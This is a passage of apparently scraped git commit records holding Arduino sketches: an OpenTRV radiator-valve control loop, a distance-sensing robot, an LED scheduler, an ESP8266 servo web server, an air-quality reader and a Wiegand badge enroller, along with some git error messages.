OTV0P2BASE::LED_HEATCALL_ON();\n OTV0P2BASE::sleepLowPowerMs(1000); \/\/ TODO: use this time to gather entropy.\n\n \/\/ Initialise the radio, if configured, ASAP because it can suck a lot of power until properly initialised.\n PrimaryRadio.preinit(NULL);\n \/\/ Check that the radio is correctly connected; panic if not...\n if(!PrimaryRadio.configure(nPrimaryRadioChannels, RFM23BConfigs) || !PrimaryRadio.begin()) { panic(F(\"r1\")); }\n\n \/\/ Buttons should not be activated DURING boot for user-facing boards; an activated button implies a fault.\n \/\/ Check buttons not stuck in the activated position.\n if(fastDigitalRead(BUTTON_MODE_L) == LOW) { panic(F(\"b\")); }\n\n \/\/ Collect full set of environmental values before entering loop() in normal mode.\n \/\/ This should also help ensure that sensors are properly initialised.\n TemperatureC16.read();\n AmbLight.read();\n RelHumidity.read();\n TempPot.read();\n Supply_cV.read();\n OTV0P2BASE::seedPRNGs();\n \/\/ Update targets, output to TRV and boiler, etc, to be sensible before main loop starts.\n NominalRadValve.read();\n \/\/ Ensure that the unique node ID is set up (mainly on first use).\n \/\/ Have one attempt (don't want to stress an already failing EEPROM) to force-reset if not good, then panic.\n \/\/ Needs to have had entropy gathered, etc.\n if(!OTV0P2BASE::ensureIDCreated()) {\n if(!OTV0P2BASE::ensureIDCreated(true)) { panic(F(\"ID\")); } \/\/ Force reset.\n }\n \/\/ Initialised: turn main\/heatcall UI LED off.\n OTV0P2BASE::LED_HEATCALL_OFF();\n \/\/ Do OpenTRV-specific (late) setup.\n \/\/ Radio not listening to start with.\n \/\/ Ignore any initial spurious RX interrupts for example.\n PrimaryRadio.listen(false);\n \/\/ Set up async edge interrupts.\n ATOMIC_BLOCK (ATOMIC_RESTORESTATE) {\n \/\/PCMSK0 = PB; PCINT 0--7 (LEARN1 and Radio)\n \/\/PCMSK1 = PC; PCINT 8--15\n \/\/PCMSK2 = PD; PCINT 16--24 (Serial RX and LEARN2 and MODE and Voice)\n PCICR = 4 | 0; \/\/ 0x4 enables PD\/PCMSK2.\n PCMSK2 = MASK_PD;\n }\n\n \/\/ Wire components together, eg. for occupancy sensing.\n AmbLight.setOccCallbackOpt([](bool prob){if(prob){Occupancy.markAsPossiblyOccupied();}else{Occupancy.markAsJustPossiblyOccupied();}});\n \/\/ Callbacks to set various mode combinations.\n \/\/ Typically at most one call would be made on any appropriate pot adjustment.\n TempPot.setWFBCallbacks([](bool x){valveUI.setWarmModeFromManualUI(x);},\n [](bool x){valveUI.setBakeModeFromManualUI(x);});\n \/\/ Initialise sensors with stats info where needed.\n updateSensorsFromStats();\n\n \/\/ Do early 'wake-up' stats transmission if possible \/\/ XXX\n \/\/ when everything else is set up and ready and allowed (TODO-636)\n \/\/ including all set-up and inter-wiring of sensors\/actuators.\n \/\/ Attempt to maximise chance of reception with a double TX.\n \/\/ Assume not in hub mode (yet).\n \/\/ Send all possible formats, binary first (assumed complete in one message).\n bareStatsTX();\n \/\/ Send JSON stats repeatedly (typically once or twice)\n \/\/ until all values pushed out (no 'changed' values unsent)\n \/\/ or limit reached.\n for(uint8_t i = 5; --i > 0; ) {\n ::OTV0P2BASE::nap(WDTO_120MS, false); \/\/ Sleep long enough for receiver to have a chance to process previous TX.\n bareStatsTX();\n if(!ss1.changedValue()) { break; }\n }\n \/\/ Start local counters in randomised positions to help avoid inter-unit collisions,\n \/\/ eg for mains-powered units starting up together after a power cut,\n \/\/ but without (eg) breaking any of the logic about what order things will be run first time through.\n \/\/ Uses some decent noise to try to start the units separated.\n const uint8_t b = OTV0P2BASE::getSecureRandomByte(); \/\/ randRNG8();\n \/\/ Start within bottom half of minute (or close to); sensor readings happen in second half.\n OTV0P2BASE::setSeconds(b >> 2);\n \/\/ Start anywhere in first 4 minute cycle.\n minuteCount = b & 3;\n \/\/ Set appropriate loop() values just before entering it.\n TIME_LSD = OTV0P2BASE::getSecondsLT();\n}\n\n\n\/******************************************************************************\n * MAIN LOOP\n *****************************************************************************\/\n\nvoid loop()\n{\n OTV0P2BASE::stackCheck();\n\n \/\/ Main loop for OpenTRV radiator control.\n \/\/ Note: exiting and re-entering can take a little while, handling Arduino background tasks such as serial.\n \/\/ Sensor readings are taken late in each minute (where they are taken)\n \/\/ and if possible noise and heat and light should be minimised in this part of each minute to improve readings.\n \/\/ const bool sensorReading30s = (TIME_LSD >= 30);\n \/\/ Sensor readings and (stats transmissions) are nominally on a 4-minute cycle.\n const uint8_t minuteFrom4 = (minuteCount & 3);\n \/\/ The 0th minute in each group of four is always used for measuring where possible (possibly amongst others)\n \/\/ and where possible locally-generated noise and heat and light should be minimised in this minute\n \/\/ to give the best possible readings.\n \/\/ True if this is the first (0th) minute in each group of four.\n const bool minute0From4ForSensors = (0 == minuteFrom4);\n \/\/ Note last-measured battery status.\n const bool batteryLow = Supply_cV.isSupplyVoltageLow();\n \/\/ Run some tasks less often when not demanding heat (at the valve or boiler), so as to conserve battery\/energy.\n \/\/ Spare the batteries if they are low, or the unit is in FROST mode, or if the room\/area appears to be vacant.\n \/\/ Stay responsive if the valve is open and\/or we are otherwise calling for heat.\n \/\/ Run at full speed until not nominally demanding heat, eg even during FROST mode or pre-heating.\n const bool conserveBattery = (batteryLow || !valveMode.inWarmMode() || Occupancy.longVacant()) && (!NominalRadValve.isCallingForHeat());\n \/\/ Try if very near to end of cycle and thus causing an overrun.\n \/\/ Conversely, if not true, should have time to safely log outputs, etc.\n const uint8_t nearOverrunThreshold = OTV0P2BASE::GSCT_MAX - 8; \/\/ ~64ms\/~32 serial TX chars of grace time...\n\n \/\/ Go to sleep until the start of the next cycle.\n TIME_LSD = OTV0P2BASE::sleepUntilNewCycle<>(TIME_LSD);\n\n \/\/ Reset and immediately re-prime the RTC-based watchdog.\n OTV0P2BASE::resetRTCWatchDog();\n OTV0P2BASE::enableRTCWatchdog(false);\n\n \/\/ START LOOP BODY\n \/\/ ===============\n \/\/ High-priority UI handing, every other\/even second.\n \/\/ Show status if the user changed something significant.\n \/\/ Must take ~300ms or less so as not to run over into next half second if two TXs are done.\n bool recompute = false; \/\/ Set true if an extra recompute of target temperature should be done.\n \/\/ Run the OpenTRV button\/LED UI if required.\n if(0 != valveUI.read()) { recompute = true; }\n \/\/ Handling the UI may have taken a little while, so process I\/O a little.\n if(recompute || valveUI.veryRecentUIControlUse()) {\n \/\/ Force immediate recompute of target temperature for (UI) responsiveness.\n NominalRadValve.computeTargetTemperature();\n \/\/ Keep dynamic adjustment of sensors up to date.\n updateSensorsFromStats();\n }\n\n \/\/ DO SCHEDULING\n\n \/\/ Once-per-minute tasks: all must take << 0.3s unless particular care is taken.\n \/\/ Run tasks spread throughout the minute to be as kind to batteries (etc) as possible.\n \/\/ Only when runAll is true run less-critical tasks that be skipped sometimes when particularly conserving energy.\n \/\/ Run all for first full 4-minute cycle, eg because unit may start anywhere in it.\n \/\/ Note: ensure only take ambient light reading at times when all LEDs are off (or turn them off).\n \/\/ TODO: coordinate temperature reading with time when radio and other heat-generating items are off for more accurate readings.\n const bool runAll = (!conserveBattery) || minute0From4ForSensors || (minuteCount < 4);\n switch(TIME_LSD) { \/\/ With V0P2BASE_TWO_S_TICK_RTC_SUPPORT only even seconds are available.\n case 0: {\n \/\/ Tasks that must be run every minute.\n ++minuteCount; \/\/ Note simple roll-over to 0 at max value.\n \/\/ Force to user's programmed schedule(s), if any, at the correct time.\n Scheduler.applyUserSchedule(&valveMode, OTV0P2BASE::getMinutesSinceMidnightLT());\n \/\/ Ensure that the RTC has been persisted promptly when necessary.\n OTV0P2BASE::persistRTC();\n \/\/ Run hourly tasks at the end of the hour.\n if((59 == OTV0P2BASE::getMinutesLT() ) && (23 == OTV0P2BASE::getHoursLT() )) { endOfDayTasks(); }\n break;\n }\n \/\/ Churn\/reseed PRNG(s) a little to improve unpredictability in use: should be lightweight.\n case 2: { if(runAll) { OTV0P2BASE::seedRNG8(minuteCount ^ OTV0P2BASE::getCPUCycleCount() ^ (uint8_t)Supply_cV.get(), OTV0P2BASE::_getSubCycleTime() ^ AmbLight.get(), (uint8_t)TemperatureC16.get()); } break; }\n \/\/ Force read of supply\/battery voltage; measure and recompute status (etc) less often when already thought to be low, eg when conserving.\n case 4: { if(runAll) { Supply_cV.read(); } break; }\n \/\/ Periodic transmission of stats if NOT driving a local valve (else stats can be piggybacked onto that).\n \/\/ Randomised somewhat between slots and also within the slot to help avoid collisions.\n static uint8_t txTick;\n case 6: { txTick = OTV0P2BASE::randRNG8() & 7; break; } \/\/ Pick which of the 8 slots to use.\n case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: {\n \/\/ Only the slot where txTick is zero is used.\n if(0 != txTick--) { break; }\n \/\/ Stats TX in the minute (#1) after all sensors should have been polled\n \/\/ (so that readings are fresh) and evenly between.\n \/\/ Usually send one frame every 4 minutes, 2 if this is a valve.\n \/\/ No extra stats TX for changed data to reduce information\/activity leakage.\n \/\/ Note that all O frames contain the current valve percentage,\n \/\/ which implies that any extra stats TX also speeds response to call-for-heat changes.\n \/\/ DHD20170113: was once every 4 minutes, but can make boiler response too slow.\n if(0 == (minuteFrom4 & 1)) { break; }\n \/\/ Sleep randomly up to ~25% of the minor cycle\n \/\/ to spread transmissions and thus help avoid collisions.\n \/\/ (Longer than 25%\/0.5s could interfere with other ops such as FHT8V TXes.)\n const uint8_t stopBy = 1 + (((OTV0P2BASE::GSCT_MAX >> 2) | 7) & OTV0P2BASE::randRNG8());\n while(OTV0P2BASE::getSubCycleTime() <= stopBy) { OTV0P2BASE::nap(WDTO_15MS, true); } \/\/ Sleep a little.\n \/\/ Send stats!\n \/\/ Try for double TX for extra robustness unless:\n \/\/ * this is a speculative 'extra' TX\n \/\/ * battery is low\n \/\/ * this node is a hub so needs to listen as much as possible\n \/\/ This doesn't generally\/always need to send binary\/both formats\n \/\/ if this is controlling a local FHT8V on which the binary stats can be piggybacked.\n \/\/ Ie, if doesn't have a local TRV then it must send binary some of the time.\n \/\/ Any recently-changed stats value is a hint that a strong transmission might be a good idea.\n bareStatsTX();\n break;\n }\n \/\/ SENSOR READ AND STATS\n \/\/\n \/\/ All external sensor reads should be in the second half of the minute (>32) if possible.\n \/\/ This is to have them as close to stats collection at the end of the minute as possible,\n \/\/ and to allow randomisation of the start-up cycle position in the first 32s to help avoid inter-unit collisions.\n \/\/ Also all sources of noise, self-heating, etc, may be turned off for the 'sensor read minute'\n \/\/ and thus will have diminished by this point.\n\n \/\/ Sample the user-selected WARM temperature target at a fixed rate.\n \/\/ This allows the unit to stay reasonably responsive to adjusting the temperature dial.\n case 48: { TempPot.read(); break; }\n \/\/ Read all environmental inputs, late in the cycle.\n \/\/ Sample humidity.\n case 50: { if(runAll) { RelHumidity.read(); } break; }\n \/\/ Poll ambient light level at a fixed rate.\n \/\/ This allows the unit to respond consistently to (eg) switching lights on (eg TODO-388).\n \/\/ Force all UI lights off before sampling ambient light level.\n case 52: { OTV0P2BASE::LED_HEATCALL_OFF(); AmbLight.read(); break; }\n \/\/ At a hub, sample temperature regularly as late as possible in the minute just before recomputing valve position.\n \/\/ Force a regular read to make stats such as rate-of-change simple and to minimise lag.\n \/\/ TODO: optimise to reduce power consumption when not calling for heat.\n \/\/ TODO: optimise to reduce self-heating jitter when in hub\/listen\/RX mode.\n case 54: { TemperatureC16.read(); break; }\n \/\/ Compute targets and heat demand based on environmental inputs and occupancy.\n \/\/ This should happen as soon after the latest readings as possible (temperature especially).\n case 56: {\n \/\/ Update occupancy status (fresh for target recomputation) at a fixed rate.\n Occupancy.read();\n \/\/ Recompute target, valve position and call for heat, etc.\n \/\/ Should be called once per minute to work correctly.\n NominalRadValve.read();\n break;\n }\n \/\/ Stats samples; should never be missed.\n case 58: {\n \/\/ Update non-volatile stats.\n \/\/ Make the final update as near the end of the hour as possible to reduce glitches (TODO-1086),\n \/\/ and with other optional non-full samples evenly spaced throughout the hour.\n \/\/ Race-free.\n const uint_least16_t msm = OTV0P2BASE::getMinutesSinceMidnightLT();\n const uint8_t mm = msm % 60;\n if(59 == mm) { statsU.sampleStats(true, uint8_t(msm \/ 60)); }\n else if((statsU.maxSamplesPerHour > 1) && (29 == mm)) { statsU.sampleStats(false, uint8_t(msm \/ 60)); }\n break;\n }\n }\n \/\/ End-of-loop processing, that may be slow.\n \/\/ Handle local direct-drive valve, eg DORM1.\n \/\/ If waiting for for verification that the valve has been fitted\n \/\/ then accept any manual interaction with controls as that signal.\n \/\/ Also have a backup timeout of at least ~10m from startup\n \/\/ for automatic recovery after a crash and restart,\n \/\/ or where fitter simply forgets to initiate cablibration.\n if(ValveDirect.isWaitingForValveToBeFitted()) {\n \/\/ Defer automatic recovery when battery low or in dark in case crashing\/restarting\n \/\/ to try to avoid disturbing\/waking occupants and\/or entering battery death spiral. (TODO-1037, TODO-963)\n \/\/ The initial minuteCount value can be anywhere in the range [0,3];\n \/\/ pick threshold to give user at least a couple of minutes to fit the device\n \/\/ if they do so with the battery in place.\n const bool delayRecalibration = batteryLow || AmbLight.isRoomDark();\n if(valveUI.veryRecentUIControlUse() || (minuteCount >= (delayRecalibration ? 240 : 5)))\n { ValveDirect.signalValveFitted(); }\n }\n \/\/ Provide regular poll to motor driver.\n \/\/ May take significant time to run\n \/\/ so don't call when timing is critical\n \/\/ nor when not much time left this cycle,\n \/\/ nor some of the time during startup if possible,\n \/\/ so as (for example) to allow the CLI to be operable.\n \/\/ Only calling this after most other heavy-lifting work is likely done.\n \/\/ Note that FHT8V sync will take up at least the first 1s of a 2s subcycle.\n if(OTV0P2BASE::getSubCycleTime() < ((OTV0P2BASE::GSCT_MAX\/4)*3))\n { ValveDirect.read(); }\n \/\/ Command-Line Interface (CLI) polling.\n \/\/ If a reasonable chunk of the minor cycle remains after all other work is done\n \/\/ AND the CLI is \/ should be active OR a status line has just been output\n \/\/ then poll\/prompt the user for input\n \/\/ using a timeout which should safely avoid overrun, ie missing the next basic tick,\n \/\/ and which should also allow some energy-saving sleep.\n if(OTV0P2BASE::CLI::isCLIActive()) {\n const uint8_t stopBy = nearOverrunThreshold - 1;\n OTV0P2BASE::ScratchSpace s((uint8_t*)globalWorkSpace.cli, sizeof(globalWorkSpace.cli));\n pollCLI(stopBy, 0 == TIME_LSD, s);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/REV7FS20Master\/REV7FS20Master.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0d8c2674d0fa621143bd466eceabddcfe296e775","subject":"Code for testing hardware.","message":"Code for testing hardware.\n","repos":"maqqr\/robot-hsf15,maqqr\/robot-hsf15,maqqr\/robot-hsf15,maqqr\/robot-hsf15","old_file":"realworld-test-codes\/first_steps\/first_steps.ino","new_file":"realworld-test-codes\/first_steps\/first_steps.ino","new_contents":"\/\/ Using single ultrasound distance sensor;\n\/\/ Go forward and stay stile when there's an obstacle in front.\nint E1 = 4;\nint M1 = 5;\nint E2 = 7;\nint M2 = 6;\nint trigPin = 13;\nint echoPin = 12;\n\nint motorVal;\nint distance;\n\nvoid setup()\n{\n \/\/ Motor shield\n \/\/ http:\/\/www.dfrobot.com\/wiki\/index.php?title=Arduino_Motor_Shield_(L298N)_(SKU:DRI0009)\n pinMode(M1, OUTPUT);\n pinMode(M2, OUTPUT);\n\n \/\/ Distance sensor\n \/\/ http:\/\/www.micropik.com\/PDF\/HCSR04.pdf\n Serial.begin (9600);\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n motorVal = 255;\n}\n\n\/\/ Calculate current distance from obstacle\nfloat current_distance(){\n long duration;\n float distance;\n\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2.0) \/ 29.1;\n\n return distance;\n}\n\nvoid loop()\n{\n distance = current_distance();\n\n if (distance < 30){\n motorVal = 0;\n } else {\n motorVal = 255;\n }\n\n delay(100);\n\n digitalWrite(E1, LOW);\n digitalWrite(E2, LOW);\n\n analogWrite(M1, motorVal);\n analogWrite(M2, motorVal);\n\n Serial.print(\"Distance: \");\n Serial.print(distance);\n Serial.print(\" cm - \");\n Serial.print(\"setting motorVal to \");\n Serial.println(motorVal);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'realworld-test-codes\/first_steps\/first_steps.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d5338d05d13dff414ab16ca12d8f0beae83e540f","subject":"Lowers range again of thermo pot meter value.","message":"Lowers range again of thermo pot meter value.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/teleporter\/teleporter.ino","new_file":"room\/arduino\/teleporter\/teleporter.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b00785c5a17118684cc7956f03a8346d7524698c","subject":"Add Scheduler example","message":"Add Scheduler example\n\n- refine ToggleLeds with Scheduler\n","repos":"iotl\/IoT-Shield-Firmware","old_file":"examples\/03.Scheduler\/ToggleLedsScheduler\/ToggleLedsScheduler.ino","new_file":"examples\/03.Scheduler\/ToggleLedsScheduler\/ToggleLedsScheduler.ino","new_contents":"#include <ParkingShield.h>\n#include <Scheduler.h>\n\nclass LedFlash : public Task\n{\n public:\n LedFlash(ParkingShield::led_t led, ParkingShield &shield) : _led(led), _shield(shield)\n {}\n \n void update(Scheduler &sched)\n {\n _shield.setLed(_led, _enable);\n _enable = !_enable;\n }\n\n private:\n ParkingShield::led_t _led;\n ParkingShield &_shield;\n bool _enable;\n};\n\n\nParkingShield shield;\nScheduler sched;\nLedFlash redFlash(ParkingShield::RED_LED, shield);\nLedFlash yellowFlash(ParkingShield::YELLOW_LED, shield);\n\nvoid setup() \n{\n sched.addTask(&redFlash, 1000, true);\n sched.addTask(&yellowFlash, 500, true); \n}\n\nvoid loop()\n{\n sched.scheduleTasks(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/03.Scheduler\/ToggleLedsScheduler\/ToggleLedsScheduler.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4420fb62d643e719c32ed2f52a5d57ab08e3c540","subject":"Create ArduinoShield.ino","message":"Create ArduinoShield.ino","repos":"pieman64\/ESPproMon","old_file":"OpenEnergyMonitor\/ArduinoShield\/ArduinoShield.ino","new_file":"OpenEnergyMonitor\/ArduinoShield\/ArduinoShield.ino","new_contents":"Sketch\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenEnergyMonitor\/ArduinoShield\/ArduinoShield.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7b6e71a47b23475ebff6e80827403ee7ba37165","subject":"Implemented correct bytes receiving, values modification for engines","message":"Implemented correct bytes receiving, values modification for engines\n","repos":"bitbitbitbitbitbitbitbit\/LineFollowing,bitbitbitbitbitbitbitbit\/LineFollowing","old_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitbitbitbitbitbitbitbit\/LineFollowing.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"87625dcc5fa63953f4e78a32eacc4dcd1099560b","subject":"Fast-finale Software","message":"Fast-finale Software","repos":"bencarp\/EsySHLS","old_file":"ARDUINO_FINAL.ino","new_file":"ARDUINO_FINAL.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Servo.h>\n\nServo servosg90;\n\nconst char* ssid = \"Fab\\ Visitors\";\nconst char* password = \"Tonality\";\n\nESP8266WebServer server(80);\n\nconst int ledgruen = 15;\nconst int ledrot = 13;\n\nvoid servo1() {\n digitalWrite(ledgruen, 0);\n digitalWrite(ledrot, 1);\n servosg90.write(0);\n delay(500);\n digitalWrite(ledrot, 0);\n digitalWrite(ledgruen, 1);\n server.send(200, \"text\/plain\", \"Licht an\");\n}\n\nvoid servo2() {\n digitalWrite(ledgruen, 0);\n digitalWrite(ledrot, 1);\n servosg90.write(180);\n delay(500);\n digitalWrite(ledrot, 0);\n digitalWrite(ledgruen, 1);\n server.send(200, \"text\/plain\", \"Licht aus\");\n}\n\nvoid handleNotFound(){\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i=0; i<server.args(); i++){\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n}\n\nvoid setup(void){\n pinMode(ledgruen, OUTPUT);\n pinMode(ledrot, OUTPUT);\n servosg90.attach(14);\n digitalWrite(ledgruen, 1);\n Serial.begin(115200);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (MDNS.begin(\"esp8266\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n server.on(\"\/ON\", servo1);\n server.on(\"\/OFF\", servo2);\n\n server.on(\"\/inline\", [](){\n server.send(200, \"text\/plain\", \"this works as well\");\n });\n\n server.onNotFound(handleNotFound);\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\nvoid loop(void){\n server.handleClient();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ARDUINO_FINAL.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"42e9ed7de12c96f7bcc0d15dd525beb3f32438fe","subject":"short way","message":"short way\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/EndstopTest.ino","new_file":"EndstopTest\/EndstopTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"be2da241db74e79b0075982270ce67439925dd84","subject":"Added Air Quality Arduino code","message":"Added Air Quality Arduino code\n","repos":"ISTE-NITK\/Sleep-Project,aniketrege\/istesleep,aniketrege\/istesleep,ISTE-NITK\/Sleep-Project,ISTE-NITK\/Sleep-Project","old_file":"src\/mq135.ino","new_file":"src\/mq135.ino","new_contents":"#include <MQ135.h>\n\n#define ANALOGPIN A0\n\nMQ135 gasSensor = MQ135(ANALOGPIN);\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n float rzero = gasSensor.getRZero();\n float ppm = gasSensor.getPPM();\n Serial.println(ppm);\n delay(10000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/mq135.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9d9291bb39bbe5cbb028a3f426ab23a5b3ef8633","subject":"Rajout du programme enroleur badge Galaxy","message":"Rajout du programme enroleur badge Galaxy\n\nLecture des num\u00e9ro de badge avec lecteur galaxy\n","repos":"pixelorum\/eniri","old_file":"enroleur-eniri\/enroleur-galaxy\/enroleur-galaxy.ino","new_file":"enroleur-eniri\/enroleur-galaxy\/enroleur-galaxy.ino","new_contents":"\/\/----------------------------------------------------------\n\/\/\n\/\/ Lecteur enroleur de badge pour lecteur galaxy honeywell\n\/\/ Claude Boisgerault le 26\/02\/2017\n\/\/ Version 0.99\n\/\/ PROJET ENIRI licence MIT\n\/\/ ce programme permet de lire un num\u00e9ro de badge\n\/\/ avec un lecteur en protocol wiegand.\n\/\/ l'enroleur r\u00e9cup\u00e8re les 34 bits envoy\u00e9s et convertit \n\/\/ du bit 3 au bit 34 en d\u00e9cimal. \n\/\/ Le num\u00e9ro du badge est envoy\u00e9 en \u00e9mulant le clavier du Pc\n\/\/ par l'interm\u00e9diaire d'un Arduino L\u00e9onardo.\n\/\/\n\/\/----------------------------------------------------------\n\n\n\n\/\/ D\u00e9claration des constantes des broches\n\nconst int DATA_0 = 2; \/\/ Raccordement de data 0 sur Broche digital 2\nconst int DATA_1 = 3; \/\/Raccordement de data 1 sur Broche digital 3\n\n\n\/\/ --- D\u00e9claration des variables globales ---\n\nString numero_bin=\"\"; \/\/ variable pour m\u00e9moriser les bits de lecture du badge\nString ref=\"\"; \/\/ variable tempon pour la lecture invers\u00e9e des bits du badge\nunsigned long temps_debut; \/\/ temps de r\u00e9f\u00e9rence\nunsigned long temps_inter; \/\/ temps interm\u00e9diaire\nunsigned long temps_timeout; \/\/ temps du timeout\nunsigned long nu_badge_deci;\/\/ num\u00e9ro du badge en d\u00e9cimal\nint finlecture = 0; \/\/ flag pour sortir de la boucle do pour arr\u00eater la lecture\nboolean lecteur_hs = false; \/\/ lecteur connect\u00e9 ou d\u00e9connect\u00e9\nint valeur_d0 = 0; \/\/ variable pour lecture DATA_0\nint valeur_d1 = 0; \/\/ variable pour lecture DATA_1\nint resultat = 0; \/\/ variable pour calcul\n\/\/ Variables des param\u00e8trages de lecture \nint bit_start = 3; \/\/ Variable pour bit de d\u00e9part de lecture du num\u00e9ro du badge\nint bit_end = 34; \/\/ Variable pour bit de fin de lecture du num\u00e9ro du badge\n\n\/\/----------------------------------\n\/\/ Chargement de la librairie\n\/\/----------------------------------\n\n#include <Keyboard.h>\n\n\/\/----------------------------------\n\/\/ initialisation du microcontroleur\n\/\/----------------------------------\n\nvoid setup() {\n pinMode (DATA_0, INPUT); \/\/Broche digital 2 en mode entr\u00e9e\n pinMode (DATA_1, INPUT); \/\/Broche digital 3 en mode entr\u00e9e\n Keyboard.begin();\/\/ on active l'\u00e9mulateur clavier arduino\n}\n\n\/\/-----------------------------\n\/\/ d\u00e9but du programme principal\n\/\/-----------------------------\n\nvoid loop() {\n \n valeur_d0 = digitalRead (DATA_0);\n valeur_d1 = digitalRead (DATA_1);\n resultat = valeur_d0 + valeur_d1;\n \n \/\/ On v\u00e9rifie s'il y a au moins un data \u00e0 0\n if ( resultat < 2 )\n {\n \/\/ on v\u00e9rifie s'il y a au moins un data \u00e0 1\n if (resultat > 0 )\n {\n finlecture = 1; \/* le test de data 0 et 1 est ok on initialise la variable\n finlecture pour lancer la boucle \"do\" \"d\u00e9but lecture badge\" *\/\n \n \/\/---------------------------\n \/\/ boucle d\u00e9but lecture badge\n \/\/---------------------------\n do\n {\n valeur_d0 = digitalRead (DATA_0); \/\/ on lit l'\u00e9tat de data 0 sur le lecteur\n valeur_d1 = digitalRead (DATA_1); \/\/ on lit l'\u00e9tat de data 1 sur le lecteur\n resultat = valeur_d0 + (valeur_d1 * 2);\n \n \/* resultat=3 > pas de valeur de bit envoy\u00e9e\n resultat=2 > valeur du bit envoy\u00e9e est de 0\n resultat=1 > valeur du bit envoy\u00e9e est de 1\n *\/\n\n \/\/---------------------------------------\n \/\/ on lit une valeur de bit de donn\u00e9e \u00e0 0\n \/\/---------------------------------------\n if ( resultat == 2 )\n { \n \/\/ pour une lecture a l'envers des bits\n \/\/numero_bin = \"0\" + ref;\n \/\/ref = numero_bin;\n \n \/\/ lecture dans le bon sens\n numero_bin += \"0\";\n \n temps_debut = micros(); \/\/ top chrono temps r\u00e9f\u00e9rent\n \/\/ boucle de test timeout de data 0\n do\n {\n valeur_d0 = digitalRead (DATA_0); \/\/ on lit l'\u00e9tat de data 0 sur le lecteur\n temps_inter = micros(); \/\/ on prend le temps\n temps_timeout = temps_inter - temps_debut; \/\/ on calcul le temps pass\u00e9\n if (temps_timeout > 100) \/\/ timeout d\u00e9pass\u00e9 on arr\u00eate la lecture du badge\n {\n finlecture = 0; \/\/ on oblige la sortie de la boucle \"do\" d\u00e9but lecture badge\n }\n } while (valeur_d0 == 0);\n }\n\n \/\/----------------------------------------\n \/\/ on lit une valeur de bit de donn\u00e9e \u00e0 1\n \/\/----------------------------------------\n if ( resultat == 1 )\n {\n \/\/ pour une lecture a l'envers des bits\n \/\/numero_bin = \"1\" + ref;\n \/\/ref = numero_bin;\n\n \/\/lecture dans le bon sens\n numero_bin += \"1\";\n \n temps_debut = micros();\n \/\/ boucle de test timeout de data 1\n do\n {\n valeur_d1 = digitalRead (DATA_1);\/\/ on lit l'\u00e9tat de data 1 sur le lecteur\n temps_inter = micros(); \/\/ on prend le temps\n temps_timeout = temps_inter - temps_debut; \/\/ on calcul le temps pass\u00e9\n if (temps_timeout > 100) \/\/ timeout d\u00e9pass\u00e9 on arr\u00eate la lecture du badge\n {\n finlecture = 0; \/\/ on oblige la sortie de la boucle \"do\" d\u00e9but lecture badge\n }\n\n } while (valeur_d1 == 0);\n }\n 